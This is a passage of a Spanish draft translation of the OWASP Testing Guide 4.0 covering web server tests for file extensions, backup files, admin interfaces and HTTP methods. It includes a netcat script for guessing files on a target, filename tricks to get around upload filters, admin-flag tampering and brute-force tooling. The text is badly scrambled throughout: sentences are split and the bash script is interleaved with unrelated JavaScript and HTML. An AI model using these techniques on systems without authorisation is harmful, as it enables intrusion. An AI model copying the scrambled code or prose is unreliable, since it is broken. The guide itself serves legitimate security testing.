Determinar cómo los servidores web manejan las peticiones correspondientes a archivos con diferentes extensiones puede ayudar a comprender el comportamiento del servidor web según el tipo de archivos a los que se accede. Por ejemplo, puede ayudar a entender cuáles extensiones de archivo se devuelven como texto simple frente a aquellos que causan alguna ejecución en el lado del servidor. Estos últimos son indicativos de las tecnologías, idiomas o plugins que son utilizados por los servidores web o servidores de aplicaciones y pueden proporcionar informacion adicional de cómo está diseñada la aplicación web. Por ejemplo, una extensión de ".pl" es generalmente asociada con un soporte Perl del lado del servidor. Sin embargo, la extensión de archivo sola puede ser engañosa y no completamente concluyente. Por ejemplo, Los recursos de servidor Perl pueden cambiarse de nombre para ocultar el hecho de que están relacionados con Perl. Vea la siguiente sección sobre "componentes de servidor de web" para más información sobre identificación de componentes y tecnologías del lado del servidor.
[7] Generic: • CERT Security Improvement Modules: Securing Public Web Servers
Cómo probar
• Apache Security Configuration Document, InterSect Alliance
Navegación forzada
• “How To: Use IISLockdown.exe” http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp
Envíe solicitudes http[s] que incluyan diferentes extensiones y verifique cómo se manejan. La verificación debe estar en una base de directorio web
Pruebe el manejo de archivos de extensiones en busca de información sensible (OTG-CONFIG003)
por búsqueda. Verificar directorios que permiten la ejecución del script. Los directorios del servidor Web pueden identificarse por escáneres de vulnerabilidad, que buscan la presencia de directorios conocidos. Además, el reflejo de la estructura del sitio web permite al evaluador reconstruir el árbol de directorios de la web servidos por la aplicación.
Resumen Los archivos de extensiones se utilizan en los servidores web para determinar fácilmente qué tecnologías, idiomas y accesorios (plugins) deben utilizarse para cumplir con la solicitud web. Si bien este comportamiento es compatible con los RFC y estándares Web, utilizar las extensiones de archivo estándar proporciona al evaluador de penetración la información útil sobre las tecnologías subyacentes que se utilizan en una aplicación web y simplifica enormemente la tarea de determinar el escenario de ataque a usar para estas tecnologías en particular. Además, un error de configuración de los servidores web fácilmente podría revelar información confidencial sobre las credenciales de acceso.
Si la arquitectura de aplicaciones web tiene balanceo de cargas, es importante evaluar a todos los servidores web. Esto puede o no ser fácil, dependiendo de la configuración de la infraestructura de equilibrio. En una infraestructura con componentes redundantes pueden existir ligeras variaciones en la configuración de los servidores web o de aplicaciones individuales . Esto puede suceder si la arquitectura web emplea tecnologías heterogéneas (piense en un conjunto de servidores web IIS y Apache en una configuración de balanceo de carga, que puede presentar leves comportamientos asimétricos entre ellos y posiblemente diferentes vulnerabilidades).
El control de extensiones a menudo se utiliza para validar los archivos que serán cargados, que pueden conducir a resultados inesperados
Ejemplo:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 78
Guia de pruebas 4.0 "Borrador"
El evaluador ha identificado la existencia de un archivo llamado connection.inc. Tratar de acceder a él directamente le devuelve su contenido:
algunos ejemplos, ya que las extensiones de archivo son demasiadas para tratarlas exhaustivamente aquí. Refiérase a http://filext.com/ para ver una base de datos más completa de las extensiones.
<?
mysql_connect(“127.0.0.1”, “root”, “”) or die(“Could not connect”);
?> El evaluador determina la existencia de un MySQL DBMS de acceso restringido y las credenciales (débiles) que utiliza la aplicación web para acceder a ella.
Para identificar los archivos con una extensión en particular, puede emplearse una mezcla de técnicas. Estas técnicas pueden incluir escáneres de vulnerabilidad, herramientas de robots araña (spidering) y de reflejo,
inspección manual de la aplicación (esto supera las limitaciones del uso de robots araña automáticos), consultar motores de búsqueda (ver pruebas: spidering y googling). Vea también pruebas de archivos viejos, de copia de seguridad y archivos no referenciados que abordan los problemas de seguridad relacionados con los archivos "olvidados".
Las siguientes extensiones de archivo nunca deben ser devueltas por un
archivos que pueden contener información sensible o archivos que no deben ser entregados. servidor web, ya que están relacionadas a
• .asa • .inc
Las siguentes extensiones de archivos se relacionan con archivos que, cuando se acceden, pueden ser visualizados o descargados por el navegador. Por lo tanto, los archivos con estas extensiones deben comprobarse para verificar que, de hecho, estas deben ser entregadas (y no son residuos), y que no contienen información sensible.
• .zip, .tar, .gz, .tgz, .rar, ...: archivos de almacenaje (Comprimidos)
Carga de archivos El manejo de archivos de legado de Windows 8.3 puede, a veces, ser usado para derrotar los filtros de carga de archivos.
Ejemplos de uso:
file.phtml gets processed as PHP code
FILE~1.PHT is served, but not processed by the PHP ISAPI handler
shell.phPWND can be uploaded
• .java: No hay razón para permitir el accceso a archivos de fuentes Java • .txt: archivos de texto
SHELL~1.PHP will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler
• .pdf: documentos PDF • .doc, .rtf, .xls, .ppt, ...: documentos de Office • .bak, .extensiones viejas u otras extensiones de iniciativa de archivos de respaldo (por ejemplo: ~ archivos de respaldo para Emacs)
La lista de detalles mencionados anteriormente son sólo
Pruebas de Caja Gris Realizar pruebas de Caja Gris contra el manejo de los archivos de extensiones para revisar las configuraciones de servidores web o servidores de aplicaciones que participan en la arquitectura de aplicaciones web, y comprobar cómo son instruidos para entregar diferentes extensiones de archivo.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 79
Guia de pruebas 4.0 "Borrador"
Si la aplicación web se basa en una infraestructura heterogénea con equilibrio de carga, la misma determina si esta puede presentar un comportamiento diferente.
Herramientas Los escáneres de vulnerabilidad, tales como Nessus y Nikto, comprueban la existencia de directorios web conocidos. Pueden permitir que el evaluador descargue la estructura del sitio web, lo cual es útil cuando se intenta determinar la configuración de los directorios web y cómo son atendidas las extensiones de archivo individuales. Otras herramientas que pueden utilizarse para este propósito incluyen:
credenciales para conectarse a la interfaz administrativa o al servidor de base de datos.
Una fuente importante de vulnerabilidades se encuentra en los archivos que no tienen nada que ver con la aplicación, pero se crean como consecuencia de la edición de archivos de la aplicación, o después de crear copias de seguridad "al vuelo" o dejando en el árbol de la red viejos archivos del árbol o archivos no referenciados. Realizar ediciones ¨"en el sitio" u otras acciones administrativas en servidores web en producción sin darse cuenta puede dejar copias de seguridad, ya sean generadas automáticamente por el editor mientras se editan archivos, o por el administrador quien está comprimiendo un conjunto de archivos para crear una copia de seguridad.
• wget - gnu.org • curl - curl.haxx.se • google for “web mirroring tools”.
Revise archivos viejos, copias de seguridad y archivos no referenciados en busca de información sensible (OTG-CONFIG-004) Resumen Mientras que la mayoría de los archivos en un servidor web son manejados directamente por el servidor, no es raro encontrar archivos no referenciados u olvidados que pueden utilizarse para obtener información importante acerca de la infraestructura o las credenciales.
Los escenarios más comunes incluyen la presencia de viejas versiones renombradas de archivos modificados, archivos de inclusión que se cargan
en el idioma de su preferencia y pueden ser descargados como fuente, o incluso copias de seguridad manuales o automáticas o en forma de archivos comprimidos. Los archivos de copias de seguridad también pueden ser generados automáticamente por el sistema de archivos subyacente donde se aloja la aplicación, una característica que se conoce generalmente como "instantáneas".
Todos estos archivos podrán conceder acceso al evaluador a trabajos internos, puertas traseras, interfaces administrativas o incluso
Es fácil olvidar este tipo de archivos y esto puede plantear una amenaza seria a la aplicación. Eso sucede porque se pueden generar copias de seguridad con extensiones de archivo diferentes a las de los archivos originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...) obviamente tiene una extensión diferente, y lo mismo ocurre con las copias automáticas creadas por muchos editores (por ejemplo, emacs genera una copia de seguridad denominada archivo~ al editar el archivo). Hacer una copia a mano puede producir el mismo efecto (piensa en copiar file a file.old). El sistema de archivo subyacente, en el cual se encuentra la aplicación, podría estar tomando "instantáneas" de su aplicación en diferentes puntos en el tiempo sin su conocimiento, y también pueden ser accesibles a través de la web. Estas representan una amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de su aplicación.
Como resultado, estas actividades generan archivos que no son necesarios para la aplicación y pueden ser tratados de manera distinta al archivo original por el servidor web. Por ejemplo, si hacemos una copia de login.asp llamada login.asp.old, estamos permitiendo a los usuarios descargar el código de login.asp. Esto es porque login.asp.old será atendido normalmente como texto simple, en lugar de ser ejecutado debido a su extensión. En otras palabras, acceder a login.asp causa la ejecución del código de login.asp, mientras que acceder a login.asp.old causa que el contenido de login.asp.old (que es, otra vez, el código del lado del servidor) se entregue simplemente al usuario y se muestre en el evaluador. Esto puede plantear riesgos de seguridad, dado que información confidencial puede ser revelada.
En general, exponer el código del lado del servidor es una mala idea. No sólo está usted innecesariamente exponiendo la lógica del negocio, sino que, sin saberlo, usted puede estar develando información relacionada con la aplicación, lo que puede ayudar a un atacante (nombres de ruta de acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay muchos scripts que tienen incrustado el usuario y contraseña en texto claro (que es una práctica imprudente y muy peligrosa).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 80
Guia de pruebas 4.0 "Borrador"
Otras causas de archivos no referenciados se deben al diseño o configuración de opciones cuando permiten que diversos tipos de archivos relacionados con la aplicación como archivos de datos, archivos de configuración, archivos de registro se almacenen en directorios del sistema de archivo a los que se puede acceder por el servidor web. Estos archivos normalmente no tienen ninguna razón para estar en un espacio del sistema de archivo que se podría acceder vía web, ya que deben accederse
solamente desde el nivel de la aplicación, por la propia aplicación (y no por el usuario casual que está navegando).
• En algunos casos, copiar o editar un archivo no modifica la extensión del archivo, pero modifica el nombre del archivo. Esto sucede, por ejemplo, en ambientes Windows, donde las operaciones de copia de archivos generan nombres de archivo con el prefijo "Copia de" o versiones localizadas de esta secuencia. Puesto que la extensión de archivo se queda sin cambios, este no es un caso en que un archivo ejecutable es devuelto como texto plano por el servidor web y, por lo tanto, no es un caso de revelación de código fuente. Sin embargo, estos archivos también son peligrosos porque existe la posibilidad de que incluyan lógica obsoleta e incorrecta que, si es invocada, podría provocar errores de aplicación que podrían dar información valiosa a un atacante si está habilitada la pantalla de mensaje de diagnóstico. • Los archivos de registro pueden contener información sensible acerca de las actividades de los usuarios de la aplicación, por ejemplo, datos de parámetros URL, Identificador de Sesión, URL visitadas (que pueden revelar contenido sin referencia adicional), etc.. Otros archivos de registro (por ejemplo registros ftp) pueden contener información confidencial sobre el mantenimiento de la aplicación por los administradores del sistema.
Amenazas Archivos viejos, copias de seguridad y los archivos no referenciados presentan varias amenazas a la seguridad de una aplicación web:
• Las instantáneas de archivos del sistema pueden contener copias del código que contienen vulnerabilidades que han sido corregidas en las versiones más recientes. Por ejemplo /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de salto de directorio que se ha fijado en /view.php, pero todavía puede ser explotada por cualquier persona que encuentre la versión antigua.
• Los archivos no referenciados pueden revelar información sensible que puede facilitar un ataque focalizado contra la aplicación; por ejemplo, incluir los archivos que contienen las credenciales de la base de datos, archivos de configuración que contienen referencias a otros contenidos ocultos, rutas de archivo absolutas, etc. Cómo probar • Las páginas no referenciadas pueden contener funcionalidad poderosa que puede utilizarse para atacar la aplicación; por ejemplo, una página de administración que no está ligada desde el contenido publicado, pero a la que puede acceder cualquier usuario que sepa dónde se encuentra. • Los archivos viejos y copias de seguridad pueden contener vulnerabilidades que han sido corregidas en las versiones más recientes; por ejemplo, viewdoc.old.jsp puede contener una vulnerabilidad de salto de directorio que se ha arreglado en viewdoc.jsp pero todavía puede ser explotada por cualquier persona que encuentre la versión antigua.
• Los archivos de copias de seguridad pueden revelar el código fuente de páginas diseñadas para ejecutarse en el servidor; por ejemplo, viewdoc.bak que puede entregar el código fuente de viewdoc.jsp. Estos archivos pueden ser revisados en busca de vulnerabilidades que pueden ser dificiles de encontrar haciendo peticiones ciegas a la página ejecutable. Aunque esta amenaza obviamente aplica a lenguajes de scripts, como Perl, PHP, ASP, shell scripts, JSP, etc., no se limita a estos, como se muestra en el ejemplo proporcionado en la siguiente viñeta. • Los archivos de copias de seguridad pueden contener copias de todos los archivos dentro (o incluso fuera) de la raiz (webroot). Esto permite a un atacante enumerar rápidamente toda la aplicación, incluyendo las páginas no referenciadas, códigos fuente, archivos incluidos, etc.. Por ejemplo, si se olvida un archivo llamado myservlets.jar.old que contiene (una copia de seguridad) las clases de su implementación servlet, usted está exponiendo un gran cantidad de información sensible que es susceptible a la descompilación e ingeniería inversa.
Prueba de Caja Negra Probar en busca de archivos no referenciados utiliza tanto técnicas automáticas como manuales y normalmente consiste en una combinación de los siguientes:
Inferencia desde el esquema de nombres, utilizado para el contenido publicado Enumere todas las páginas y funcionalidades de la aplicación. Esto puede hacerse manualmente, usando un navegador o utilizando una herramienta de spidering. La mayoría de las aplicaciones utiliza un esquema de nombres reconocibles y organiza recursos en páginas y directorios usando palabras que describen su función. Desde el esquema de nombres utilizado para el contenido publicado, a menudo es posible inferir el nombre y la ubicación de los páginas no referenciadas. Por ejemplo, si encuentra una página viewuser.asp, entonces busque también edituser.asp, adduser.asp y deleteuser.asp. Si encuentra un directorio /app/user, entonces busque también /app/admin y /app/manager.
Otras pistas en los contenidos publicados
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 81
Guia de pruebas 4.0 "Borrador"
Muchas aplicaciones web dejan pistas en los contenidos publicados, que pueden conducir al descubrimiento de páginas ocultas y su funcionalidad. Estas pistas aparecen a menudo en el código fuente de archivos HTML y JavaScript. El código fuente de todo el contenido publicado debe revisarse manualmente para identificar pistas sobre otras páginas y su funcionalidad. Por ejemplo:
User-agent: * Disallow: /Admin Disallow: /uploads
Disallow: /backup Las secciones de comentarios y comentarios de eliminación de los programadores del código fuente pueden referirse al contenido oculto: <!-- <A HREF=”uploadfile.jsp”>Upload a document to the server</A> -> <!-- Link removed while bugs in uploadfile.jsp are fixed
-->
Disallow: /~jbloggs Disallow: /include
Navegación forzada En su forma más simple, esto incluye correr una lista de nombres de archivo comunes a través de un motor de solicitudes en un intento de adivinar los archivos y directorios que existen en el servidor. El siguiente script de envoltura de netcat leerá una lista de palabras desde stdin y realizará un ataque de conjetura básico:
JavaScript puede contener enlaces a páginas que sólo se procesan dentro del GUI de usuario bajo ciertas circunstancias: #!/bin/bash var adminUser=false; :
server=www.targetapp.com if (adminUser) menu.add (new menuItem (“Maintain users”, “/admin/useradmin.jsp”));
port=80
while read url Las páginas HTML pueden contener FORMs que han sido ocultadas por deshabilitar el elemento SUBMIT:
do echo -ne “$url\t” echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat $server $port | head -1 done | tee outputfile
Otra fuente de pistas sobre los directorios no referenciados es el archivo de /robots.txt utilizado para dar instrucciones a los robots de la web:
Dependiendo del servidor, GET puede ser reemplazado con HEAD para tener resultados más rápidos. El archivo de salida especificado puede usar la aplicación grep para obtener los códigos de respuesta "interesantes". El código de respuesta 200 (OK) normalmente indica que se ha encontrado un recurso válido (siempre y cuando el servidor no entregue una página personalizada de "no encontrada"(not found) con el código 200). Pero también 302 (Found), 401 (Unauthorized), 403 (Forbidden) y 500 (Internal error), que también pueden indicar recursos o directorios que son dignos de una investigación posterior.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 82
Guia de pruebas 4.0 "Borrador"
El ataque de conjetura básico se debe ejecutar contra la raíz web (webroot) y también contra todos los directorios que se han identificado a través de otras técnicas de enumeración. Ataques de conjeturas más avanzados/eficaces pueden realizarse como se ve a continuación:
• Identifique las extensiones de archivo en uso dentro de las zonas conocidas de la aplicación (por ejemplo, jsp, aspx, html) y use una lista básica de palabras con cada una de estas extensiones (o use una lista más larga de extensiones comunes si los recursos lo permiten). • Para cada archivo identificado a través de otras técnicas de enumeración, cree una lista personalizada de palabras, derivada de ese nombre. Obtenga una lista de extensiones de archivo comunes (como ~, bak, txt, src, dev, old, inc, orig, copy, tmp, etc.) y utilice cada extensión antes, después y en vez de la extensión del nombre del archivo actual.
Nota: Las operaciones de copia de archivos de Windows generan archivos con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras que los archivos "Copia de" (Copy of) típicamente no revelan el código fuente cuando se acceden, podrían entregar información valiosa en caso de que provoquen errores cuando se les invoca.
Información obtenida a través de las vulnerabilidades y mala configuración
Las páginas y la funcionalidad en aplicaciones web de cara al internet, que no son referenciadas desde dentro de la propia aplicación, pueden ser referenciadas desde otras fuentes de dominio público. Hay varias fuentes de estas referencias:
• Páginas que solían estar referenciadas todavía pueden aparecer en los archivos de los buscadores de Internet. Por ejemplo, 1998results.asp puede ya no estar vinculada desde el sitio web de la empresa, pero puede permanecer en el servidor y en las bases de datos de motores de búsqueda. Este viejo script puede contener vulnerabilidades que podrían ser utilizadas para poner en peligro todo el sitio. El sitio: Google search operator puede utilizarse para ejecutar una consulta contra el dominio elegido, como en este caso: sitio: www.example.com. Utilizar motores de búsqueda en esta forma ha dado lugar a una amplia gama de técnicas que pueden resultar útiles y que se describen en la sección de esta guía de Google Hacking. Revíselo para perfeccionar sus habilidades de pruebas a través de Google. Los archivos de copia de seguridad no suelen ser referenciados por otros archivos y, por lo tanto, pueden no haber sido indexados por Google, pero si se encuentran en directorios navegables, el motor de búsqueda podría saber acerca de ellos. • Además, Google y Yahoo mantienen versiones en caché de páginas encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del servidor de destino, una versión de salida puede todavía estar almacenada en estos motores de búsqueda. La versión en caché puede contener referencias o pistas sobre contenido oculto adicional que permanece en el servidor. • El contenido que no está referenciado desde una aplicación de destino puede estar vinculado a sitios web de terceros. Por ejemplo, una aplicación que procesa los pagos en línea a nombre de comerciantes externos puede contener una variedad de funcionalidades hechas a la medida que pueden (normalmente) sólo se pueden encontrar (normalmente) siguiendo los enlaces dentro de las páginas web de sus clientes.
La manera más obvia en que un servidor mal configurado puede revelar páginas no referenciadas es a través del listado del directorio. Solicite todos los directorios enumerados para identificar cualquiera que proporcione un listado de directorios.
Filtro de desvío del nombre del archivo
Se han encontrado numerosas vulnerabilidades en servidores web individuales, que permiten a un atacante enumerar los contenidos; por ejemplo:
Debido a que los filtros de listas negras se basan en expresiones regulares, a veces uno puede tomar ventaja de las características oscuras de expansión del nombre de archivo de OS que trabajan de maneras no esperadas por el desarrollador. A veces, el evaluador puede explotar las diferencias en las formas en que los nombres de archivo son analizados por la aplicación, el servidor web y el sistema operativo subyacente y sus convenciones de nombre de archivo.
• Apache ?M=D directory listing vulnerability. • Various IIS script source disclosure vulnerabilities. • IIS WebDAV directory listing vulnerabilities.
Ejemplo: Expansión de nombre de archivo 8.3 de Windows "c:\program files" se convierte "C:\PROGRA~1" – Remove incompatible characters – Convert spaces to underscores - Take the first six characters of the basename
Uso de información disponible para el púbico
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 83
Guia de pruebas 4.0 "Borrador"
– Add “~<digit>” which is used to distinguish files with names using the same six initial characters
Para garantizar una estrategia de protección efectiva, la prueba debe estar compuesta por una política de seguridad que específicamente prohíbe las prácticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions – Truncate file extension to three characters - Make all the characters uppercase
Pruebas de Caja Gris Realizar pruebas de caja gris contra archivos viejos y copias de seguridad requiere examinar los archivos contenidos en los directorios pertenecientes al conjunto de directorios web, servidos por los servidores web de la infraestructura de aplicaciones web. Teóricamente, el examen se debe realizar a mano para ser cuidadoso. Sin embargo, ya que en la mayoría de los casos las copias de archivos o archivos de copias de seguridad tienden a crearse usando la misma terminología; la búsqueda puede ser fácilmente secuenciada. Por ejemplo, los editores dejan copias de seguridad nombradas con un final o una extensión reconocible y los seres humanos tienden a dejar archivos con un ".old" o similares extensiones predecibles. Una buena estrategia es la de programar periódicamente un trabajo de fondo comprobando archivos con extensiones que se identifican como copia o copia de seguridad y efectuar comprobaciones manuales en base a un mayor tiempo.
Herramientas • Las herramientas de evaluación de vulnerabilidad tienden a incluir verificaciones a directorios web que tienen nombres estándar (como “admin”, “test”, “backup”, etc.) y a reportar cualquier directorio web que permite la indexación. Si usted no puede conseguir un listado de directorios, debe intentar comprobar extensiones de respaldo probables. Compruebe, por ejemplo, Nessus (nessus.org), Nikto2(cirt.net) o su nuevo derivado Wikto (sensepost.com), que también es compatible con Google hacking based strategies. •Las herramientas robot tipo araña: wget (gnu.org, interlog.com); Sam Spade (samspade.org); Spike Proxy incluyen una función de rastreador del sitio web (immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de ellos también se incluyen en las distribuciones estándar de Linux.
• Las herramientas de desarrollo web suelen incluir instalaciones para identificar los enlaces rotos y los archivos no referenciados.
• Editar los archivos en el lugar del servidor web o sistemas de archivos del servidor de aplicaciones. Este es un mal hábito particular, ya que es probable que, sin querer, los editores generen archivos de respaldo. Es sorprendente ver que esto se hace frecuentemente, incluso en grandes organizaciones. Si definitivamente necesita editar archivos en un sistema en producción, asegúrese de no dejar atrás cualquier cosa que no esté explícitamente planificada y recuerde que lo está haciendo bajo su propio riesgo. • Revise cuidadosamente cualquier otra actividad realizada en los sistemas de archivos expuestos por el servidor web, como las actividades de la administración en el punto. Por ejemplo, si usted necesita de vez en cuando tomar una instantánea de un par de directorios (que no se debe hacer en un sistema en producción), puede sentirse tentado a comprimirlos primero. Tenga cuidado de no dejar atrás esos archivos. • Las políticas de gestión de configuración apropiada deberían ayudar a no dejar por ahí archivos obsoletos y sin referencia. • Las aplicaciones deben ser diseñadas para no crear (o depender de) archivos almacenados debajo de los árboles de directorios web atendidos por el servidor web. Los archivos de datos, archivos de registro, archivos de configuración, etc. deben almacenarse en directorios no accesibles por el servidor web, para contrarrestar la posibilidad de divulgación de información (sin mencionar la modificación de los datos si los permisos del directorio web permiten escritura). • Las instantáneas de sistema de archivos no deben ser accesibles a través de la web si la raíz del documento es un sistema de archivos que utiliza esta tecnología. Configure el servidor web para negar el acceso a dichos directorios, por ejemplo, en apache una directiva de ubicación como esta debería utilizarse: <Location ~ “.snapshot”> Order deny,allow
Deny from all </Location>
Infraestructura de Enumeración e Interfaces de Administración de Aplicaciones (OTGCONFIG-005)
Remediación
Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 84
Guia de pruebas 4.0 "Borrador"
Las interfases del administrador se pueden presentar en la aplicación o en el servidor de aplicaciones para permitir que determinados usuarios puedan llevar a cabo actividades privilegiadas en el sitio. Se deben realizar pruebas para revelar sí y cómo esta funcionalidad privilegiada puede ser accesada por un usuario no autorizado o estándar.
enviadas al cliente, enlaces a las funcionalidades de administrador, pueden descubrirse y deben investigarse.
• Revisar el servidor y la documentación de aplicaciones. Si el servidor de aplicaciones o la aplicación se implementa en su configuración por defecto, es posible acceder a la interfaz de administración con la información descrita
Una aplicación puede requerir una interfaz de administrador para habilitar un usuario con privilegios con acceso a funciones que pueden realizar cambios de cómo funciona el sitio. Tales cambios pueden incluir:´ en la documentación de configuración o ayuda. Las listas de contraseñas por defecto deben consultarse si se encuentra una interfaz administrativa y se requieren credenciales. • Provisionamiento de cuentas de usuario • Diseño y diagramación del sitio • Manipulación de datos • Cambios en la configuración
En muchas instancias, dichas interfaces no tienen suficientes controles para protegerlas de accesos no autorizados. La prueba está dirigida a descubrir estas interfaces de administrador y acceder a funcionalidades para estos usuarios privilegiados.
• Información disponible para el público p. Muchas aplicaciones como wordpress tienen interfaces administrativas por defecto. • Puerto de servidor alternativo. Las interfaces de administración pueden ser encontradas en un puerto diferente en el host de la aplicación principal. Por ejemplo, a menudo puede verse la interfaz de administración de Apache Tomcat en el puerto 8080. • Alteración de parámetros. Un parámetro GET o POST o una variable de cookie puede ser requerida para habilitar la funcionalidad de administrador. Pistas para esto incluyen la presencia de campos ocultos tales como: <input type=”hidden” name=”admin” value=”no”>
Cómo Probar Pruebas de Caja Negra En la siguiente sección se describen vectores que pueden utilizarse para probar la presencia de interfaces administrativas. Estas técnicas también pueden utilizarse para probar temas relacionados que incluyen la elevación de privilegios y se describen en otros sitios de esta guía (por ejemplo Pruebas para eludir el esquema de autorización (OTG-AUTHZ002) y Pruebas de referencias de objetos directos inseguros (OTGAUTHZ-004) en mayor detalle.
• Enumeración de archivos y directorios. Una interfaz administrativa puede estar presente, pero no visiblemente disponible para el evaluador. Intentar adivinar la trayectoria de la interfaz administrativa puede ser tan simple como solicitar: /admin o /administrator etc... o, en algunos casos, pueden ser revelados en segundos utilizando Google dorks. • Existen muchas herramientas disponibles para forzar el contenido del servidor. Consulte la sección de herramientas a continuación para obtener más información. * Un evaluador puede tener que identificar también el nombre del archivo de la página de administración. Navegar hacia la página identificada, a la fuerza, puede proporcionar acceso a la interfaz. • Comentarios y vínculos en el código fuente. Muchos sitios utilizan un código común, cargado para todos los usuarios del sitio. Examinando todas las fuentes
o en una cookie:
Cookie: session_cookie; useradmin=0
Una vez que se ha descubierto una interfaz administrativa, puede utilizarse una combinación de las técnicas anteriores para intentar eludir la autenticación. Si esto falla, el evaluador podría intentar un ataque forzado. En tal caso, el evaluador debe estar consciente de la posibilidad de bloqueo de la cuenta administrativa si dicha funcionalidad está presente.
Pruebas de Caja Gris Debe realizar un examen más detallado de los componentes del servidor y de la aplicación para asegurarse de la fortaleza (es decir, las páginas de administrador no son accesibles a todo el mundo mediante el uso de filtros IP u otros controles) y, en ciertos casos, verificar que todos los componentes no usan credenciales o configuraciones por defecto.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 85
Guia de pruebas 4.0 "Borrador"
El código fuente debe ser revisado para asegurar que el modelo de autorización y autenticación garantiza la separación clara de funciones entre los usuarios normales y los administradores. Las funciones de la interfaz de usuario compartidas entre usuarios normales y administradores deben ser revisadas para garantizar una separación clara entre el dibujo de dichos componentes y la información que puede fugarse de tal funcionalidad.
Aunque GET y POST son los métodos más comunes que se utilizan para acceder a la información proporcionada por un servidor web, el protocolo de transferencia de hipertexto (HTTP) permite varios otros métodos( y algunos menos conocidos). RFC 2616 (que describe al HTTP versión 1.1 que es el estándar hoy en día) define los siguientes ocho métodos:
• HEAD • GET
Herramientas
• POST • PUT
• Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran herramienta para forzar directorios y archivos en el servidor. • THC-HYDRA es una herramienta que permite forzar muchas interfaces, incluyendo la autenticación HTTP basada en formularios. • Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el diccionario de netsparker.
Referencias
• DELETE • TRACE • OPTIONS • CONNECT
Algunos de estos métodos pueden plantear un potencial riesgo de seguridad para una aplicación web, ya que permiten a un atacante modificar los archivos almacenados en el servidor web y, en algunos escenarios, roban las credenciales de usuarios legítimos. Más concretamente, los métodos que deben deshabilitarse son los siguientes:
• Lista de contraseñas por defecto: governmentsecurity.org
• Lista de contraseñas por defecto: cirt.net
Pruebe los métodos HTTP (OTG-CONFIG006) Resumen HTTP ofrece una serie de métodos que pueden utilizarse para realizar acciones en el servidor web. Muchos de los métodos están diseñados para
ayudar a los desarrolladores a implementar y probar aplicaciones HTTP. Estos métodos HTTP pueden utilizarse para fines malvados si el servidor web está mal configurado. Además, el Cross Site Tracing (XST), una forma de escritura de sitios cruzados que utiliza el método TRACE del servidor HTTP, es examinado.
• PUT: Este método permite a un cliente subir nuevos archivos en el servidor web. Un atacante puede explotarlo subiendo archivos maliciosos (por ejemplo: un archivo asp que ejecuta los comandos invocando el cmd.exe), o simplemente usando el servidor de la víctima como un deposito de archivos. • DELETE: Este método permite a un cliente eliminar un archivo en el servidor web. Un atacante puede explotarlo como una forma muy simple y directa para modificar un sitio web o para montar un ataque DoS. • CONNECT: Este método podría permitir a un cliente utilizar el servidor web como un proxy. • TRACE: Este método simplemente hace eco al cliente de cualquier cadena que ha sido enviada al servidor y se utiliza principalmente para propósitos de depuración. Este método, originalmente asumido como inofensivo, puede usarse para un ataque conocido como Rastreo de Sitios Cruzados (Cross Site Tracing), que ha sido descubierto por Jeremiah Grossman (vea los enlaces en la parte inferior de la página).
Si una aplicación necesita uno o más de estos métodos, tales como los servicios Web REST (que puede requerir de PUT o DELETE), es
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 86
Guia de pruebas 4.0 "Borrador"
importante verificar que su uso está debidamente limitado a usuarios de confianza y condiciones de seguridad.
$ nc www.victim.com 80 OPTIONS / HTTP/1.1
Métodos HTTP Arbitrarios Arshan Dabirsiaghi (ver enlaces) descubrió que muchos frameworks de aplicación web permitían métodos HTTP bien elegidos o arbitrarios para evitar un control de acceso a nivel del ambiente:
Host: www.victim.com
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0
• Muchos frameworks y lenguajes tratan "HEAD" como una petición de "GET", aunque sin ningún cuerpo en la respuesta. Si una restricción de seguridad fue establecida en las peticiones de "GET" que sólo los "authenticatedUsers" o usuarios autenticados podrían acceder a solicitudes GET para un recurso o un servlet en particular, sería evitado con la versión de "HEAD". Esto permitió la sumisión ciega y sin autorización de cualquier solicitud GET privilegiada. • Algunos frameworks permiten métodos HTTP arbitrarios como "JEFF" o "CATS" para que sean utilizados sin límite. Estos fueron tratados como si
un método "GET" fuera emitido y resultaron no ser sujetos a un control de acceso basado en el método de roles en varios idiomas y frameworks, otra vez, lo que permite una sumisión ciega sin autorización a peticiones GET privilegiadas.
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close Allow: GET, HEAD, POST, TRACE, OPTIONS
Como podemos ver en el ejemplo, OPTIONS proporciona una lista de los métodos admitidos por el servidor web, y en este caso podemos ver que el método TRACE está habilitado. El peligro que plantea este método se ilustra en la siguiente sección.
Pruebe el potencial XST En muchos casos, el código que comprueba explícitamente un método "GET" o "POST" sería seguro.
Cómo Probar Descubra los Métodos Soportados Para realizar esta prueba, el evaluador necesita alguna manera de averiguar qué métodos HTTP son compatibles con el servidor web que está siendo examinado. El método de OPTIONS HTTP (opciones HTTP) proporciona al evaluador la forma más directa y efectiva de hacerlo. RFC 2616 afirma que "el método de OPTIONS representa una solicitud de información sobre las opciones de comunicación disponibles en la cadena de solicitud/respuesta identificada por el URL solicitado".
Nota: para entender la lógica y los objetivos de este ataque, uno debe estar familiarizado con los ataques de Cross Site Scripting.
